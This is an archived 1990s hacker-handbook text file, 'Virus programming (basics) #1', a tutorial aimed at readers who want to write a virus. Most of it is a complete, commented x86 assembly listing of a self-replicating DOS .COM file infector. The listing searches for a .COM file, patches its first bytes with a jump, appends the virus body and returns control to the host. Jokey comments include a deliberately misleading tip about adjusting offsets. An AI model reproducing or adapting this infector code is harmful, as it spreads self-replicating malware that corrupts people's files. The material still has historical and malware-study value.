home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / virpgm01.txt < prev    next >
Encoding:
Text File  |  1998-12-04  |  12.3 KB  |  320 lines

  1. Virus programming (basics) #1...
  2. -----------------------------------------------------------------
  3.  This section is dedicated to those who would like to write a
  4. virus, but don't have the knowledge to do so.  First of all,
  5. writing a virus is no big deal.  It is an easy project, but one
  6. which requires some basic programming skills, and the desire to
  7. write a virus!  If either of these is missing, writing a virus
  8. would be tedious indeed!.
  9.  
  10.  Well, if you meet these requisites, keep reading this article....
  11.  
  12.                JE   READ
  13.                JNE  FUCK_YOU!
  14. READ:
  15.  
  16.  The survival of a virus is based in its ability to reproduce.  "So
  17. how the fuck do I make a program reproduce?", you might ask.
  18. Simple, by getting it to copy itself to other files....
  19.  
  20.  The functional logic of a virus is as follows:
  21.  
  22.  1- Search for a file to infect
  23.  2- Open the file to see if it is infected
  24.  3- If infected, search for another file
  25.  4- Else, infect the file
  26.  5- Return control to the host program.
  27.  
  28.  The following is an example of a simple virus:
  29.  
  30. ;****************************************************************
  31. ;                         START OF THE EXAMPLE:
  32. ;****************************************************************
  33. ;Warning, this example is a (piece of shit?)
  34. ; - The virus does not test for prior infection
  35. ; - it searches only for the first .COM file in the current
  36. ;   directory
  37. ;
  38. ; Careful when executing this file, since the first time it's
  39. ; executed it will search for and infect the first file in the
  40. ; directory.  If we later run the newly infected file, it will find
  41.  
  42. ; the first file in its directory, itself.  Thus, it will re-infect
  43.  
  44. ; itself over and over.
  45. ;===================CODIGO=======================================
  46. ;(The variables in a .COM file are relative to offset 100h).
  47.  
  48. codigo  segment 'code'
  49.      org 100h                 ;Organize all the code starting
  50.                               ; from offset 100h
  51.      assume cs:codigo,ds:codigo,es:codigo    ;Define the use of the
  52.                                              ;segments
  53.  
  54. start   proc far                   ;Start the routine
  55. COMIENZO:
  56.      push    cs                    ;Store  CS
  57.      push    cs                    ;Store  CS
  58.                               ; once again.
  59.      pop     ds                    ;Bring DS out from stack
  60.      pop     es                    ;Bring ES out from stack
  61.  
  62.      call    falso_proc            ;Call proc. so that its
  63.                               ; address is placed in the stack
  64. falso_proc      proc near
  65. falso_proc      endp
  66.  
  67.      pop     bp                    ;BP<== Proc. address.
  68.      sub     bp, 107h              ;BP<== BP - Previous directory
  69.  
  70.  
  71. ;This is done to take the variables relative to BP, since the
  72. ;infection displaces the variables at exactly the length of the
  73. ; file.  At the first infection, instruction "SUB BP, 107h" is
  74. ; 107h, so that the contents of BP is 0;  when I call a variable
  75. ; with "BP+VARIABLE"  the value of the variable's address is not
  76. ; modified.  When I load it , for example, from a 100h byte
  77. ; infected file, the instruction "SUB BP, 107h" leaves me at
  78. ; address 207h which means BP=100h, the size of the original file.
  79. ; Had I called the variable without adding BP, I would have been
  80. ; short by 100h bytes.
  81.  
  82.  
  83. ;Find the first .COM file in the directory
  84. -----------------------------------------
  85.      mov     ah, 4eh                    ;Search for the 1st file
  86.      lea     dx, bp+file_inf            ;DS:DX= offset of FILE_INF
  87.                               ;(*.*) so it will search all
  88.                               ;the files, including directory
  89.                               ;names with extensions.
  90.      mov     cx, 0000h             ;Entry attributes
  91.      int     21h
  92.  
  93. ;These attributes mentioned in the commentary are the directory's
  94. ; entry attributes.  When I set the attributes to 0, I'm telling
  95. ; DOS to search normal files.  If I include a bit combination which
  96.  
  97. ; provides the Hidden, System or Directory attributes, DOS will
  98. ; search for files with those attributes, as well as the normal
  99. ; files.  If the search range includes the Volume bit, the search
  100. ; is limited to that.
  101.  
  102. ;These are the bits which correspond to each attribute:
  103. ;Bits:    7 6 5 4 3 2 1 0
  104. ;         . . . . . . . 1          Bit 0: Read only
  105. ;         . . . . . . 1 .          Bit 1: Hidden
  106. ;         . . . . . 1 . .          Bit 2: System
  107. ;         . . . . 1 . . .          Bit 3: Volume
  108. ;         . . . 1 . . . .          Bit 4: Directory
  109. ;         . . 1 . . . . .          Bit 5: File
  110. ;
  111. ;Bits 6 and 7 are not used as they are reserved for "future
  112. ; applications".
  113.  
  114. ;Open file
  115. ;----------------------------------------------------------------
  116.      mov     ah, 3dh                    ;Open the file.
  117.      mov     al, 00000010b              ;read/write.
  118.      mov     dx, 009eh             ;DX<== DTA(filename) offset
  119.      int     21h                        ;put the handle in AX
  120.      push    ax                         ;and store in stack.
  121.  
  122. ;The attributes I'm setting in AL are not the same as before.
  123. ; These are the "open" attributes.  We are only interested in the
  124. ; first 3 bits,
  125.  
  126. ;bits 2 1 0:
  127. ;
  128. ;     0 0 0          Read only mode
  129. ;     0 0 1          Write only mode
  130. ;     0 1 0          Read/Write mode
  131. ;
  132. ;OK, we now have the file attributes stored in AL.  What we now
  133. ; need to do is to store in DX the offset of the variable where
  134. ; I've stored the ASCIIZ chain with the name of the file to be
  135. ; opened.  In this case, we don't have a NAME_OF_FILE variable.
  136. ; Instead, the name is located in the DTA (Disk Transfer Area).  I
  137. ; we have it in the DTA......   Why?  Simply because when we search
  138.  
  139. ; for a file to infect, all the information we need is returned to
  140. ; this memory area.  This buffer, if it was not reset, is found in
  141. ; the PSP; more precisely, it starts at offset 80h and is 43d bytes
  142.  
  143. ; in size.
  144. ;
  145. ;The DTA format is as follows:
  146. ;
  147. ;Offset        Bytes          Function
  148. ; 00h           21d      Used by DOS for the 4fh service
  149. ;                        (search for the next file)
  150. ; 15h           01d      Attributes of the file that's been found
  151. ; 16h           02d      File time
  152. ; 18h           02d      File date
  153. ; 1Ah           04d      File size in bytes
  154. ; 1Eh           13d      File name in an ASCIIZ chain
  155. ;                        (FILENAME.EXT),0
  156. ;
  157. ;Well, all that remains to be doe is to give DX the position in
  158. ; memory where I've stored the filename:  "MOV DX, E1h" and its's
  159. ; done.  But careful now, remember that DTA starts at offset 80h,
  160.  
  161. ; which means I have to pass to DX the value "80h+1Eh = 9Eh".  That
  162.  
  163. ; would than leave "MOV DX, 9Eh"; the problem is solved.  Now you
  164. are probably asking yourselves what I mean by "handle".  The handle
  165. is a number which tells DOS which file we want.  DOS gives us a
  166. handle for each file we open so we have to be careful to have the
  167. correct handle for each file which we read/write.
  168.  
  169. ;Read the first 3 bytes.
  170. -----------------------------------------------------
  171.      pop     bx                    ;I take the handle from the
  172.                                    ;stack to BX
  173.      push    bx                    ;and I store it again.
  174.      mov     ah, 3fh               ;Read file.
  175.      mov     cx, 0003h             ;Read 3 bytes.
  176.      lea     dx, bp+buffer            ;and store in the buffer.
  177.      int     21h
  178.  
  179. INFECTAR:                          ;(infect)
  180. ;Move pointer to the start.
  181. ---------------------------------------------------
  182.      mov  ax, 4200h           ;I move the write pointer
  183.                               ;to the beginning of the program
  184.      mov     cx, 0000h
  185.      mov     dx, 0000h
  186.      int     21h
  187.  
  188. ;The pointer's displacement, relative to the position of the
  189. ; pointer as specified in AL, is placed in CX and DX.
  190. ; Pointer displacement modes set in AL:
  191. ;    AL <== 00 Move pointer to the beginning of the file.
  192. ;    AL <== 01 leave pointer where it is.
  193. ;    AL <== 02 Move pointer to end-of-file.
  194.  
  195. ;Write the first byte (jmp)
  196. -------------------------------------------------
  197.      mov     ah, 40h                    ;write the first byte.
  198.      mov     cx, 1d                ;Quantity=1.
  199.      lea     dx, bp+jump           ;DX<== JUMP offset
  200.      int     21h
  201.  
  202. ;(Here we still need the handle, but we don't need to set it again
  203. ; because the register which contained the information was not
  204. ; modified.
  205. ;
  206. ;The first byte to be written is a JUMP instruction (the symbol for
  207.  
  208. ; the jump is below).  What follows the jump is the address of the
  209. ; jump, file-length + 1.  (test the "+ 1" thoroughly, since this
  210. ; can cause problems; if so, multiply by 18 or subtract 23.)
  211. ; Hehehehe.
  212. ;Since the entire virus code is copied at the end of the file, the
  213. ; jump gives the virus control in an infected file.
  214.  
  215. ;Calculating file length
  216. -------------------------------------------------
  217.      mov     cx, 2                 ;Copy 2 bytes.
  218.      mov     si, 009ah             ;SI<== DTA offset
  219.      lea     di, bp+longitud            ;DI<== File LENGTH offset.
  220.      rep     movsb                 ;Copy.
  221.  
  222.  
  223. ;This instruction must have the 'SOURCE' buffer address in DS:SI
  224. ; and the address where the string will be copied in ES:DI (in this
  225.  
  226. ; case, I copy the file length of the DTA to the variable
  227. ; 'LONGITUD').
  228.  
  229.  
  230.      sub  word ptr [bp+longitud], 3     ;subtract 3 bytes from
  231.                                         ;[LONGITUD]
  232.  
  233. ;The JMP is completed
  234. --------------------------------------
  235.      mov     ah, 40h                    ;Write.
  236.      mov     cx, 2d                          ;Number of bytes.
  237.      lea     dx, bp+longitud            ;DX<== LONGITUD (length)
  238.                                         ; offset
  239.      int     21h
  240.  
  241. ;Move pointer to end
  242. -------------------------------------------------------
  243.      mov  ax, 4202h           ;Move the write pointer to the
  244.                               ;end of the program.
  245.      mov     cx, 0000h
  246.      mov     dx, 0000h
  247.      int     21h
  248.      add  word ptr [bp+longitud],3 ;Restore LONGITUD.
  249.  
  250. ;Copy the virus to the program.
  251. ---------------------------------------------------
  252.      pop     bx                    ;Restore the handle.
  253.      mov     ah, 40h
  254.      mov     cx, 190d              ;number of bytes to copy.
  255.      lea  dx, bp+comienzo               ;Start copying from....
  256.      int     21h
  257.  
  258. ;Close the file after infection
  259. ------------------------------------
  260.      mov     ah, 3eh                    ;Close file.
  261.      int     21h
  262.  
  263. ;Here, too, we need in DS:DX the address of the buffer which
  264. ; contains the filename string, but in this case DS and DX already
  265. ; contain those values from before.
  266.  
  267. NO_INFECTAR:
  268.  
  269. ;==================RETURN CONTROL TO THE HOST=====================
  270. ;Copy the buffer which contains the first 3 bytes of the file into
  271. ; memory.
  272. ------------------
  273.      mov  cx, 0003h           ;Number of bytes (3).
  274.      mov  di, 0100h           ;DI<== offset 100h. Beginning of the
  275.                               ;program in memory.
  276.      lea  si, bp+buffer            ;SI<== BUFFER offset
  277.      rep  movsb                    ;Copy.
  278.  
  279. ;What we are doing here is to "fix" the file, since when it was
  280. ; infected, the first few bytes are overwritten by the virus.  That
  281.  
  282. ; is why we reconstruct the file to its original state, by copying
  283. ; the first 3 bytes, which we had stored earlier, into memory.
  284.  
  285. ;Jump to offset 100h
  286. --------------------------------------------------------
  287.  
  288.      mov  ax, 0100h           ;Address needed to execute the host
  289.      jmp  ax
  290.  
  291. ;As we mentioned before, in .COM files the executable code begins
  292. ; at offset 100h.  The information found between 00h and 100h is
  293. ; program data, like the DTA for example.
  294.  
  295. ;The main difference between a .COM file and an .EXE is that a .COM
  296. ; cannot occupy more than one memory segment, or 65535 bytes.
  297. ; .EXEs can, because DOS can 'tailor' them to fit into a number of
  298. ; different segments.  Unlike.EXE files. .COM files are faithful
  299. ; reproductions of the contents of memory.
  300.  
  301. ;====================DATA AREA===================================
  302.  
  303. buffer              db 7d dup(0)
  304. longitud       db 2 dup(0)
  305. file_inf       db '*.COM',0
  306. jump           db 'Θ',0       ;<----jump ascii
  307.  
  308. ;(The character '0' is the end of the ASCIIZ string)
  309.  
  310. start     endp                     ;End of main procedure
  311. codigo  ends                       ;end of code segment
  312. end     comienzo                   ;END. Go to  COMIENZO
  313.  
  314. ;****************************************************************
  315. ;                              END OF EXAMPLE
  316. ;****************************************************************
  317.                               Drako.
  318.  
  319.  
  320.